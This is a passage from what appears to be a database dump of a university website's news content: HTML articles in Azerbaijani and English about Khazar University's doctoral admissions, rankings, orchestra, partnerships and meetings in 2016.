margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">2.\r\nDoktoranturanın (keçmiş aspiranturanın) tam kursunu bitirən şəxs eyni ixti­sas\r\nüzrə təkrarən doktorantu­raya qəbul oluna bilməz.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p><strong>Fəlsəfə doktoru hazırlığı üzrə doktoranturaya və\r\ndissertanturaya qəbul olunmaq üçün tələb olunan sənədlər:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- ərizə\r\n(doktoranturanın fəaliy­yət göstərdiyi müəssisənin və yaxud təşkilatın\r\nrəhbərinin adı­na);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">-\r\nkadrların şəxsi-qeydiyyat vərəqi;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">-\r\ntərcümeyi-hal;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- 2 ədəd\r\nfotoşəkil (3x4 sm ölçüdə);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- iş\r\nyerindən xasiyyətnamə;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- iş\r\nstajı olanlar üçün əmək kitabçasından çıxarış;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- çap\r\nolunmuş elmi işlərin siyahısı <strong>və ya</strong>\r\nseçilmiş ixtisas üzrə referat;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- ali\r\ntəhsil müəssisəsini bitirmək haqqında diplomun müvafiq qaydada təsdiq edilmiş\r\nsurəti (xarici ölkələrdə təhsil almış Azərbaycan Respublikasının vətəndaşları\r\nüçün&nbsp;təhsil haqqında sənədlərin tanınması haqqında şəhadətnamə);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">-\r\nşəxsiyyəti təsdiq edən sənədin surəti.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">Fəlsəfə\r\ndoktoru proqramı üzrə elan olunmuş doktoranturavə dissertantura &nbsp;yerlərinəsənədlərin\r\nqəbulu <strong>2016-cı il 10 sentyabr– 15\r\noktyabr</strong>, qəbul imtahanları <strong>21-30\r\noktyabr</strong> tarixlərində keçiriləcək. Müraciət etmək istəyənlər sənədlərini Xəzər\r\nUniversiteti Magistratura, Doktorantura və Elmi İşlər bölməsinə (412-ci otaq)\r\nşəxsən təqdim edə bilərlər.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Əlaqə:E-mail: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a>&nbsp;&nbsp;&nbsp; <strong>Tel (+99412) 498-93-79; (+99412)408-81-34; Faks (+99412)\r\n498-93-79; Mobil:+99450) 518-81-34</strong></p>'),(2128,1309,'en','Khazar University First in Azerbaijan Again According to QS Rankings ','As we previously reported, on September 6th, 2016, Quacquarelli Symonds of Great Britain released the ranking results of world universities for 2016-2017...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">As we previously reported, on September\r\n6th, 2016, Quacquarelli Symonds of Great Britain released the ranking results\r\nof world universities for 2016-2017. According to the rankings, Khazar\r\nUniversity has again been designated as the top university in Azerbaijan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Information about these ratings was also\r\npublished on the following news sites: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w55852/\">http://yenizaman.az/v5/w55852/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://echo.az/article.php?aid=105188\">http://echo.az/article.php?aid=105188</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://sonxeber.az/23058/uc-ali-mektebimiz-dunyanin-en-yaxsi-universitetleri-siyahisinda\">http://sonxeber.az/23058/uc-ali-mektebimiz-dunyanin-en-yaxsi-universitetleri-siyahisinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://milletinsesi.info/index.php?newsid=15064\">http://milletinsesi.info/index.php?newsid=15064</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w55852/\">http://yenizaman.az/v5/w55852/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://aze.az/news_tri_vysshih_uchebnyh_135609.html\">http://aze.az/news_tri_vysshih_uchebnyh_135609.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://525.az/site/?name=xeber&amp;news_id=63488\">http://525.az/site/?name=xeber&amp;news_id=63488</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://hurriyyet.org/11433-azerbaycanin-uch-ali-mektebi-dunyanin-en-yaxshi-universitetleri-siyahisina-dushub.html\">http://hurriyyet.org/11433-azerbaycanin-uch-ali-mektebi-dunyanin-en-yaxshi-universitetleri-siyahisina-dushub.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mediaxeber.com/news/13259\">http://mediaxeber.com/news/13259</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeberlent.az/index.php?do=xeber_inner&amp;id=19204\">http://xeberlent.az/index.php?do=xeber_inner&amp;id=19204</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gunxeber.com/uc-ali-m%C9%99kt%C9%99bimiz-dunyanin-%C9%99n-yaxsilari-siyahisinda/\">http://gunxeber.com/uc-ali-m%C9%99kt%C9%99bimiz-dunyanin-%C9%99n-yaxsilari-siyahisinda/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://strateq.az/aktual/91064/az%C9%99rbaycanin-3-%C9%99n-reytinqli-universiteti.html\">http://strateq.az/aktual/91064/az%C9%99rbaycanin-3-%C9%99n-reytinqli-universiteti.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.bizimyol.info/news/84087.html\">http://www.bizimyol.info/news/84087.html</a>;</p>'),(2034,1235,'az','Xəzər Universitetinin Kamera Orkestrı','Xəzər Universitetinin Kamera Orkestrı','<p><strong><em><br></em></strong></p><p><strong><em>Kamera orkestri</em></strong></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;&nbsp; Qədim tarixi Misirdən başlayan orkestr Azərbaycanda\r\nilk dəfə 1920-ci ildə yaradılmışdır. Tezliklə repertuarını zənginləşdirən\r\norkestr dünyanın tanınmış bəstəkarlarının musiqilərinin ifa etməyə başladı.</p>\r\n<p>&nbsp; Xəzər Unuversitetində fəaliyyət göstərən\r\norkestr universitetin tədbirlərində Azərbaycan və dunya bəstəkarlarının musiqi\r\nnömrələrini ifa edərək zövqləri oxşayır. Yeni yaranmasına baxmayaraq bu musiqi\r\nnövü artıq repertuarını xeyli zənginləşdirmişdir. </p>\r\n<p>Azərbaycan Respublikasının Gənclər və İdman\r\nNazirliyi və Azərbaycan Respublikasının Təhsil Nazirliyi ilə birgə Azərbaycanın\r\nmüxtəlif bölgələrində &nbsp;keçirlən “Tələbə\r\nBaharı” tələbələrin Beynəlxaq Yaradıcılıq Festivalında Xəzər Universitetinin\r\norkestri I yerə layiq görülmüşdür. </p>\r\n<p>Universitetin orkestri Türkiyənin Ankaranın\r\nHacettepe Konservatoriyasında, Kahramanmaraş Sütçü İmam Universitəsi,\r\nKayserinin Erciyez Universitəsinin böyük konsert salonlarında uğurla çıxış\r\netmişlər. Dekabrın 19-da “Art Garden” İncəsənət Mərkəzində “Şirvanşahlar Sarayı\r\nKompleksi” Dövlət Tarixi-Memarlıq Qoruq –Muzeyi ilə Xəzər Universitetinin\r\nMusiqi və İncəsənət departamentinin 31 dekabr Dunya Azərbaycanlılarının\r\nHəmrəylik gününə həsr olunmuş birgə layihəsi- “Vətənim mənim” adlı tədbir\r\nkeçirildi. 2014-cü ildə Ərciyəz və Xəzər Universtəsinin “21 –ci əsrin\r\npəncərəsindən mədəniyyət və kimlik” adlı beynəlxalq simpozium, 2015 –ci ildə isə\r\nXəzər Universiteti Texno-Parkı və Türkiyə MİTEK şirkətlər qrupunun birgə\r\nfəaliyyətinə həsr edilmiş konfransın açılışında, Potensial Məktəb\r\nDirektorlarının Məktəbin İdarəedilməsi üzrə peşəkar ixtisas sertifikatlarının\r\ntəqdim etmə mərasimində konsert proqramları ilə çıxış etmişlər. 2015-ci il\r\nsentyabr ayının 21-de Heydər Əliyev fondu və mədəniyyət və turizm nazirliyinin\r\ntərəfindən təşkil olunmuş Üzeyir Hacıbəylinin 130 illiyinə həsr olunmuş VII\r\nbeynəlxalq musiqi festivalında, 13 noyabrda “Dərsliklərin yazılması və\r\nqiymətləndirilməsi” təliminin açılış mərasimində, 16 noyabr tarixində Xəzər\r\nuniversitetinin mərmər zalında ABŞ-ın Azerbaycandakı səfirliyi ilə birgə təşkil\r\nolunmuş Gabrielle Stravelli caz qrupu Xəzər universitetinin mərmər zalında, 17\r\nnoyabrda isə həmin caz qrupu ilə birgə milli incəsənət muzeyində çıxış\r\netmişdirlər.</p>\r\n<p>&nbsp;Bunlardan\r\nəlavə orkestr Azərbaycanın tanınmış mədəniyyət xadimləri xalq artistləri Samir\r\nCəfərov, Fidan Hacıyeva, Nəzakət Teymurova, skripkaçı Oleq Paxanovski (Kanada),\r\nvokalçı cazzmen Gabrielle Stravellini müşayət etmişlər.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 26\r\ndekabr 2015-ci il tarixdə Xəzər Universitetini müxtəlif illərdə bitirmiş\r\nməzunlarla keçirilən görüşün açılış mərasimində, 29 yanvar 2016-cı ildə\r\nAvrasiya Akademiyasının təntənəli açılış mərasimində çıxış etmişdirlər. (LİNK)\r\n14 fevral Bakı Beynəlxalq Multikulturalizm Mərkəzi(BBMM), Azərbaycan\r\nRespublikasının Prezidenti yanında Bilik Fondu və Bakı Slavyan Universitetinin\r\nbirgə təşkilatçılığı ilə keçirilən “Multikulturalizm Azərbaycanda həyat tərzi\r\nkimi: öyrən, araşdır, paylaş-2016” adlı Beynəlxalq Multikulturalizm Qış\r\nMəktəbinin iştirakçıları üçün keçirilən böyük tədbirdə konsert proqramı ilə\r\nçıxış etmişlər.(LİNK)</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1\r\nmart Hamlet İsaxanlıya həsr olunmuş tədbirdə, 5 mart 2016-cı il Təhsil\r\nNazirliyinin keçirdiyi “Təhsil ağlın simasıdır” adlı olimpiada qaliblərinin\r\nmükafatlandırma mərasimində, 8 mart Qadınlar gününə həsr olunmuş bayram\r\nkonsertində, 11 mart 2016-cı il Prof. M. Nuriyevin yubiley gecesinə həsr\r\nolunmuş konsertdə, 25 aprel Asəf Zeynallı adina musiqi kollecinin konsert\r\nsalonunda Xəzər universitetinin 25 illiyinə həsr olunmuş konsert proqramında,\r\n28 aprel 2016-cı ildə Potensial məktəb direktorlarına məktəbin idarə edilməsi\r\nüzrə təlim kursunun diplom verilmə mərasimində,&nbsp;\r\n12 may 2016-cı ildə İctimai televiziya kanalında, 17-18 may 2016-ci ildə\r\nTurkiyə Cumhuriyyətinin Kahramanmaraş şəhəri Sütcü İmam Universitəsində, 2 iyun\r\n2016-cı ildə Sumqayıt şəhəri “28 may” mədəniyyət evində, 16 iyun 2016-cı ildə\r\nXəzər universitetinin 25 illiyinə həsr olunmuş yekun qala konsertində solo\r\nproqramlarla cıxış etmişlər.</p>\r\n<p>Azərbaycandakı\r\nABŞ səfirlyində keçirilən Amerikanın müstəqillik gününə həsr olunmuş, Böyük\r\nBritaniya səfirliyində kralıça Yelizavetanın doğum gününə həsr olunmuş tədbirlərin\r\naparıcı qüvvəsi hesab edilən Xəzər Universitetinin kamera orkestri bir daha\r\nprofisional tərkibə malik olduğunu sübut edir. (LİNK)</p><p><img src=\"/files/image/KAMERA_ORKESTR%C4%B0.JPG\" style=\"width:600px;height:314px;margin:7px;float:left\"><br></p>'),(2037,1234,'en','Khazar University Signs a Cooperation Agreement with Yunus Emre Institute','On June 28, 2016, a cooperation agreement was signed at Khazar University between Khazar University and Yunus Emre...','<div>On June 28, 2016, a cooperation\r\nagreement was signed at Khazar University between Khazar University and Yunus\r\nEmre Institute which has branches in more than 40 countries and carries out\r\nscientific and cultural activities. The basis of the cooperation agreement\r\nsigned between Khazar University and Yunus Emre Institute is organizing Turkish\r\nlanguage classes for students intending to study Master`s and Ph.D degree\r\nprogrammes and granting certificates . This cooperation intentds coordinating\r\nvarious cultural- social events, and holding scientific conferences and\r\nworkshops as well.</div>\r\n<p>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, Dr. Hasan\r\nNiknafs, President of the University, Dr. Elza Semedli, Dean of the School of\r\nEducation, Associate Professor Roza Arazova, Head of the Department of History\r\nand Archeology, Vurghun Eyyub, Head of the Department of Azerbaijani Language\r\nand Literature, Elnura Azizova, Head of the Department of Languages and\r\nCivilizations and Dr. İbrahim Yıldırım, Head of Yunus Emre Institute`s Baku\r\nbranch, Ali İhsan Chevik, Coordiantor of Education Department, instructor of\r\nTurkish language Aydan Umudova participated in the meeting. </p>\r\n<p>The meeting covered the perspectives of cooperation\r\nbetween Khazar University and Yunus Emre Institute as well. In order to get\r\nfamiliarized with the university`s activities, the guests visited the\r\nuniversity`s &nbsp;library, cultural centers,\r\nclassrooms, laboratories, related institutions and Turkish World Research\r\nCenter established by Turkish Coordination and Cooperation Agency after the\r\nmeeting.</p>\r\n<p>Khazar University`s close cooperation with Turkish\r\ninstitutions of higher education and other private and public agencies was\r\nhighly appreciated by the guests. </p>\r\n<p>To draw the attention to the activities of Yunus\r\nEmre Institute and its cooperation with Khazar University a meeting of\r\nrepresentatives of Yunus Emre Institute with students and teachers was arranged\r\nfor the begining of this academic year.</p>\r\n<p>&nbsp;</p>'),(2038,1239,'az','“Tvininq” layihəsi çərçivəsində Xəzər Universitetində görüş','2016-cı il iyunun 29-da Xəzər Universitetində “Tvininq” layihəsi çərçivəsində Azərbaycanda doktorantura təhsilinin inkişafı ilə bağlı görüş keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 29-da Xəzər Universitetində “Tvininq” layihəsi çərçivəsində Azərbaycanda\r\ndoktorantura təhsilinin inkişafı ilə bağlı görüş keçirildi. Görüşdə Xəzər\r\nUniversitetinin Tədris işləri üzrə prorektoru professor Məhəmməd Nuriyev,\r\nMagistartura, doktorantura və elmi işlər bölməsinin müdiri f.e.f.d. Eldar Şahgəldiyev,\r\nAMEA Fəlsəfə və Hüquq İnstitutunun əməkdaşı professor Adil Əsədov, Təhsil\r\nproblemləri İnstitutunun əməkdaşı akademik Humeyir Əhmədov, EHEA “Tvininq”\r\nlayihəsi müşaviri Reijo Aholainen, Estoniya ali təhsil məsələləri üzrə ekspert\r\nMati Heidmets və digərləri iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbir\r\niştirakçıları Azərbaycanda doktorantura səviyyəsində təhsilin inkişafı, yüksək\r\nsəviyyəli kadrların yetişdirilməsi, doktorantura pilləsi üzrə təhsildə mövcud\r\nolan problemlərin aradan qaldırılması məsələlərini müzakirə etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\nhəmçinin universitetlərə daha çox səlahiyyət verilməsi, müdafiələrin\r\nuniversitetlərdə təşkil olunması və diplomalrın universitetlər tərəfindən\r\nverilməsi barədə məsələlərə də toxunuldu.</p>'),(2039,1239,'en','Meeting at Khazar University within the framework of Twinning project','On June 29, 2016 a meeting on the development of doctoral education in Azerbijan within the framework of Twinning project was held at Khazar University...','<p>On June 29, 2016 a meeting\r\non the development of doctoral education in Azerbijan within the framework of\r\nTwinning project was held at Khazar University. Professor Mahammad Nuriyev, Vice President of Khazar University for\r\nAcademic Affairs, Dr. Eldar Shahgaldiyev, Head of the Division for Graduate\r\nStudents and Research, professor Adil\r\nAsadov, &nbsp;member of ANAS Institute of\r\nPhilosophy and Law, academician Humeyir Ahmadov, member of the Institute of\r\nEducational Problems in Azerbaijan, Resident Twinning Advisor of EHEA Twinning\r\nproject, Higher education expert from Estonia Mati Heidmets, higher education\r\nexpert from Finland, Karl Erik Mickelson and others participated in the\r\nmeeting. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The participants\r\ndiscussed the issues such as the development of doctoral education in\r\nAzerbaijan, the advancement of capacity, the elimination of the problems\r\nexisting in the doctoral education.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The problems of\r\nauthority of the universities and other related issues were covered in the\r\nmeeting as well.</p>'),(2050,1247,'en','Fall_2018','','<p><a href=\"http://www.khazar.org/files/education/CV/Copy%20of%20Copy%20of%20Academic%20Load%20(Fall%202018)01.10.2018.xlsx\"><strong>Academic Load Spring 2018</strong></a></p>\r\n<p><strong>Schedule Spring 2018</strong></p>'),(2051,1247,'az','Yaz 2018','Yaz 2018','<p><a href=\"http://www.khazar.org/files/education/CV/Copy%20of%20Copy%20of%20Academic%20Load%20(Fall%202018)01.10.2018.xlsx\"><strong>Akademic Dərs Yükü 2018</strong></a></p><p><strong>Cədvəl Yaz&nbsp;2018</strong></p>'),(2052,1248,'az','Xəzər Universiteti ekstremizə qarşı keçirilən beynəlxalq müsabiqədə 3-cü yeri tutdu','2016-cı il iyunun 28-i Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən ibarət “Imagine” komandası P2P...','<p>2016-cı il iyunun 28-i Xəzər Universitetinin İqtisadiyyat və\r\nmenecment fakültəsinin tələbələrindən ibarət “Imagine” komandası P2P:\r\nEkstremizmə qarşı Mübarizə proqramında Azərbaycanı təmsil etdi.</p>\r\n<p>Ekstremizə qarşı keçirilən bu beynəlxalq müsabiqədə dünyanın hər\r\nyerindən iştirak edən 110 universitetdən yalnız üçü finala seçildi. Bu müsabiqə\r\nABŞ Dövlət Departamenti və EdVentures Partners şirkətinin birgə təşəbbüsüdür.</p>\r\n<p>Top 3 komanda öz kampaniyalarını ABŞ Dövlət Departamentinin münsiflər\r\nheyətinə təqdim etdi. Ən son sıralanma belədir:</p>\r\n<p>1-ci yer – Roçester Texnologiya İnstitutu, Roçester, Nyu-York,\r\nABŞ;</p>\r\n<p>2-ci yer – Vesalius Kolleci, Brüssel, Belçika;</p>\r\n<p>3-cü yer – Xəzər Universiteti, Bakı, Azərbaycan.</p>\r\n<p>Müsabiqədəki\r\niştirakı bitdikdən sonra, komanda hazırda ABŞ\r\nDövlət Departamenti tərəfindən maliyyələşdirilən 10 günlük Beynəlxalq Liderlik\r\nProqramında iştirak edir.</p>'),(2046,1243,'en','Zuleyxa Akbarova','Zuleyxa Akbarova','<div><br></div><p><strong>PhD student<img src=\"/files/image/zuleyxa_akberova.png\" style=\"width:150px;height:200px;margin:7px;float:right\"></strong></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:zuleykha.akbarova@khazar.org\">zuleykha.akbarova@khazar.org</a></p><p><strong></strong> </p><p>Tel: +994 12 421 6335 (242)&nbsp;</p><p>She works on isolation of\r\nmyeloperoxidase and&nbsp;</p><div><p>characterization of its&nbsp;isoforms in the pathogenesis of</p><p>\r\nmyocardial infarction</p>  <br></div>'),(2047,1244,'az',' Magistr dissertasiyasının müdafiəsi','İyunun 30-da universitetin İngilis dili və ədəbiyyatı departamentində  magistratura tələbəsi Aydan Kərimovanın...','<p style=\"\" margin:0in;margin-bottom:.0001pt;background:white\"\"=\"\">İyunun\r\n30-da universitetin İngilis dili və ədəbiyyatı departamentində &nbsp;magistratura tələbəsi Aydan Kərimovanın&nbsp; “Dilçilikdə frazeloji birləşmələrin analizi”\r\nmövzusunda dissertasiya işinin müdafiəsi keçirilmişdir. Tədqiqat işi\r\nuniversitetin Magistratura, doktorantura və elmi işlər bölməsinin müdiri, fəlsəfə\r\ndoktoru Eldar Şahgəldiyevin rəhbərliyi ilə yernə yetirilmişdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;background:white\"\"=\"\">İddiaçı\r\nA. Kərimova dissertasiyasını Bakı Dövlət Universitetinin İngilis dili\r\nkafedrasının müdiri, fəlsəfə doktoru Bəylər Hacıyevin sədrlik etdiyi Müdafiə\r\nşurasına təqdim etmiş, şura üzvlərinin suallarını cavablandırmışdır. İş müsbət\r\nqiymətləndirilmişdir.</p>'),(2048,1245,'az','“Imagine” 3-cü yerə layiq görüldü','2016-cı il iyunun 27-də Xəzər Universitetinin “Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında iştirakı...','<p>2016-cı il iyunun 27-də Xəzər Universitetinin\r\n“Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında iştirakı çərçivəsində\r\nhazırladıqları və həyata keçirdikləri marketinq kampaniyası ilə top\r\nfinalçıların Amerika Birləşmiş Ştatlarında keçirilən yekun yarışmasında 3-cü\r\nyerə layiq görülmüşdür.</p>\r\n<p>P2P proqramında Xəzər Universitetinin komandasının\r\niştirakı Xəzər Universitetinin Beynəlxalq Əlaqələr Şöbəsi və İqtisadiyyat və\r\nmenecment fakültəsi ilə birgə koordinasiya edilirdi.</p>\r\n<p>Komandaların yekun sıralamasını bu link\r\nvasitəsilə izləmək olar:</p>\r\n<p><a href=\"https://www.facebook.com/Edventure.Partners/?fref=nf\">https://www.facebook.com/Edventure.Partners/?fref=nf</a>.&nbsp;</p>'),(2049,1246,'az','Xəzər Universitetində İngiltərənin UCL Təhsil İnstitutunun nümayədənləri ilə görüş keçirildi','2016-cı il iyunun 29-da Xəzər Universitetinində İngiltərənin UCL Təhsil İnstitutunun nümayəndələri ilə görüş keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 29-da Xəzər Universitetinində İngiltərənin UCL Təhsil İnstitutunun\r\nnümayəndələri ilə görüş keçirildi. Numayəndə heyəti UCL Təhsil İnstitutunun\r\nKurrukulum, Pedaqogika və Qiymətləndirmə Departamentinin rəhbəri xanım Dr.\r\nClare Brooks və Beynəlxalq Əlaqələr Departamentinin rəhbəri xanım Dr. Moya\r\nWilkie-yə Xəzər Universiteti və xüsusilə, Təhsil fakültəsinin fəaliyyəti və Təhsil\r\nNazirliyinin sifarişi ilə ümumtəhsil sistemi ilə əlaqədar həyata keçirilən\r\nlayihələr haqqında məlumat verildi. Görüşdə Xəzər Universitetinin Təhsil fakültəsinin\r\ndekanı Dr. Elza Səmədli, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Siyasi\r\nelmlər və beynəlxalq əlaqələr departamentinin müdiri Dr. Muxtah Hacızadə,\r\nİngilis dili və ədəbiyyatı departamentinin koordinatoru Dr. Eynur Mehdiyev,\r\nBiologiya departamentinin müdiri İradə Xəliliova və İngilis dili və ədəbiyyatı\r\ndepartamentinin müəllimi Lalə Həmidova iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Görüşdə iki universitet\r\narasındakı gələcək əməkdaşlığın prespektivləri müzakirə edildi.</p>'),(2058,1248,'en','Khazar University is 3rd in a Global Competition against Extremism','On June 28, 2016, Team of Khazar University comprised of students from the School of Economics and Managementrepresented...','<p>On June 28, 2016, Team of Khazar\r\nUniversity comprised of students from the School of Economics and Managementrepresented\r\nAzerbaijan in the annual P2P: Challenging Extremism program.</p>\r\n<p>Only top three teams were selected from\r\namong over\r\n110 universities from around the world participating in this global\r\ncompetition countering extremism. This initiative is a collaborated effort of the\r\nU.S. Department of State and EdVentures Partners.&nbsp;</p>\r\n<p>Top three teams presented their campaigns to a panel of judges from\r\nthe U.S. Department of State. The final ranking of the top teams is as follows:</p>\r\n<p>1st place - Rochester Institute of Technology, Rochester,\r\nNY, U.S.</p>\r\n<p>2nd place - Vesalius College, Brussels, Belgium</p>\r\n<p>3rd place - Khazar University, Baku, Azerbaijan</p>\r\n<p>Following&nbsp;the completion of the competition, the&nbsp;team\r\nis now attending a 10-day International Visitors Leadership Program sponsored\r\nby the\r\nU.S. Department of State.&nbsp;</p>'),(2059,1250,'en','Founder of Khazar University Visits Yildiz Technical University','On July 1, 2016, the Founder of Khazar University and Chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli visited Yildiz Technical University...','<p>On July 1, 2016, the Founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, Professor Hamlet Isaxanli visited Yildiz Technical\r\nUniversity of Turkey and met with the rector Professor Dr. Ismail Yuksek. The\r\nmeeting took place at the rector’s office of Yildiz\r\nTechnical University.</p>\r\n<p>During the meeting issues of mutual interest were discussed, in\r\nparticular appointment of supervisors for PhD students, staff and student mobility\r\nopportunities within Mevlana Exchange Programme as well as development of\r\ndouble-degree programs.</p>'),(2060,1251,'en','Founder of Khazar University Visits Istanbul Technical University','On July 1, 2016, the Founder of Khazar University and Chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli visited Istanbul Technical University of Turkey...','<p>On July 1, 2016, the Founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, Professor Hamlet Isaxanli visited Istanbul Technical\r\nUniversity of Turkey and met with the rector Professor Dr. Mehmet Karaca. The\r\nmeeting took place at the rector’s office of\r\nIstanbul Technical University.</p>\r\n<p>During the meeting issues of mutual interest were discussed, in\r\nparticular appointment of supervisors for PhD students, staff and student mobility\r\nopportunities within Mevlana Exchange Programme as well as development of\r\ndouble-degree programs.</p>'),(2061,1253,'az','Elmi Şuranın iclası','İyulun 5-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi şurasının növbəti iclası keçirildi...','<p>İyulun\r\n5-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi\r\nşurasının növbəti iclası keçirildi. İclasın gündəliyinə əsasən məzunluq\r\nhaqqında fakültə dekanları Elza Səmədova, Cabir Xəlilov,Hassan Niknafs və&nbsp;dekan müavini\r\nFuat Rəsulovun,2016-2017-ci\r\ntədris ili üçün hazırlıq haqqında prorektor Məhəmməd Nuriyevin, metodik vəsaitlərin\r\nnəşrə tövsiyə olunması haqqında universitetin Magistratura, doktorantura\r\nvə elmi işlər bölməsinin müdiri Eldar Şahgəldiyevin məlumatları dinlənildi və\r\nmüvafiq qərarlar qəbul edildi.</p>\r\n<p>Elmi Şurada cari dərs ilinin yekunlarına görə bir\r\nqrup əməkdaşa təşəkkür elan olundu.</p>'),(2057,1252,'az','Xəzər Universitetinin əməkdaşı beynəlxalq tədbirdə iştirak etdi','2016-ci il iyunun 22-dən 26-dək Xəzər Universitetinin əməkdaşı Rima Məmmədova (Layihə koordinatoru) İstanbul şəhərində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-ci\r\nil iyunun 22-dən 26-dək Xəzər Universitetinin əməkdaşı Rima Məmmədova (Layihə\r\nkoordinatoru) İstanbul şəhərində Kadir Has Universitetinin təşkil etdiyi “VI Beynəlxalq\r\nQonşuluq 